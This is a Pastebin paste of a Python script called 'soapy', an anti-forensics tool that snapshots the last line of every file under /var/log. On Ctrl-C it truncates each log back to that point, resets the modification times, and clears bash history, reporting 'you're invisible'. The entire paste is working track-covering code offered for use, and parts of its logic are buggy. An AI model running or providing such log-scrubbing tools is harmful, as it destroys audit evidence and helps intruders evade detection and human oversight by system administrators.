Guest User

Untitled

a guest
Jul 17th, 2018
92
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.28 KB | None | 0 0
  1. import os
  2. import sys
  3. import time
  4. import argparse
  5. import platform
  6.  
  7.  
  8. __version__ = "0.1"
  9. __author__ = "Ekultek"
  10. __progname__ = "soapy"
  11. __twitter__ = "@stay__salty"
  12.  
  13.  
  14. class Parser(argparse.ArgumentParser):
  15.  
  16. def __init__(self):
  17. super(Parser, self).__init__()
  18.  
  19. @staticmethod
  20. def optparse():
  21. parser = argparse.ArgumentParser()
  22. parser.add_argument("-l", "--log", dest="logPath", metavar="PATH", help="pass the path to log files")
  23. return parser.parse_args()
  24.  
  25.  
  26. def needs_history_cleared():
  27. if "linux" or "darwin" in str(platform.platform()).lower():
  28. print("clearing bash history")
  29. os.system("history -c && history -w")
  30.  
  31.  
  32. def current_end_log(log_root_path):
  33. """
  34. find the current last lines on the log files
  35. these will be used as reference later to scrub the logs
  36. """
  37. def tails(file_object, last_lines):
  38. """
  39. mimics the tail command
  40. """
  41. with open(file_object) as file_object:
  42. assert last_lines >= 0
  43. pos, lines = last_lines + 1, []
  44. while len(lines) <= last_lines:
  45. try:
  46. file_object.seek(-pos, 2)
  47. except IOError:
  48. file_object.seek(0)
  49. break
  50. finally:
  51. lines = list(file_object)
  52. pos *= 2
  53. return "".join(lines[-last_lines:])
  54.  
  55. filenames = []
  56. log_data = []
  57.  
  58. for root, subs, files in os.walk(log_root_path):
  59. for name in files:
  60. filenames.append(os.path.join(root, name))
  61. for f in filenames:
  62. log_data.append((f, tails(f, 1)))
  63. return log_data
  64.  
  65.  
  66. def edit_logs(path, identifier, time_change):
  67. """
  68. edit the log files back to their previous state and
  69. change the edit times so that it seems like you weren't
  70. even there
  71. """
  72. with open(path) as log:
  73. data = log.read()
  74. index_of_action = data.find(identifier)
  75. scrubbed = data[0:index_of_action]
  76. with open(path, "w") as log:
  77. log.write(scrubbed)
  78. os.utime(path, (time_change, time_change))
  79.  
  80.  
  81. def main():
  82. """
  83. main function
  84. """
  85. print("extracting pointers from logs")
  86. opt = Parser().optparse()
  87. if opt.logPath is None:
  88. print("no path provided defaulting to /var/log")
  89. path = "/var/log"
  90. else:
  91. path = opt.logPath
  92. current_time = time.time()
  93. current_last_lines = current_end_log(path)
  94. i = 1
  95. print(
  96. "logs are being monitored, continue what you're doing and we'll wait, press "
  97. "CNTRL-C when you're ready to clean the logs"
  98. )
  99. try:
  100. while True:
  101. sys.stdout.write(".")
  102. sys.stdout.flush()
  103. time.sleep(1)
  104. i += 1
  105. except KeyboardInterrupt:
  106. print("\n")
  107. print("fixing log files")
  108. for item in current_last_lines:
  109. edit_logs(item[0], item[1], current_time)
  110. needs_history_cleared()
  111. print("done! you're invisible, you where in for {} second(s)".format(i))
  112.  
  113.  
  114. if __name__ == "__main__":
  115. sep = "-" * 30
  116. print(
  117. "\n{}\nProgram: {}\nVersion: {}\nAuthor: {}\nTwitter: {}\n{}\n".format(
  118. sep,
  119. __progname__,
  120. __version__,
  121. __author__,
  122. __twitter__,
  123. sep
  124. )
  125. )
  126.  
  127. main()
Add Comment
Please, Sign In to add comment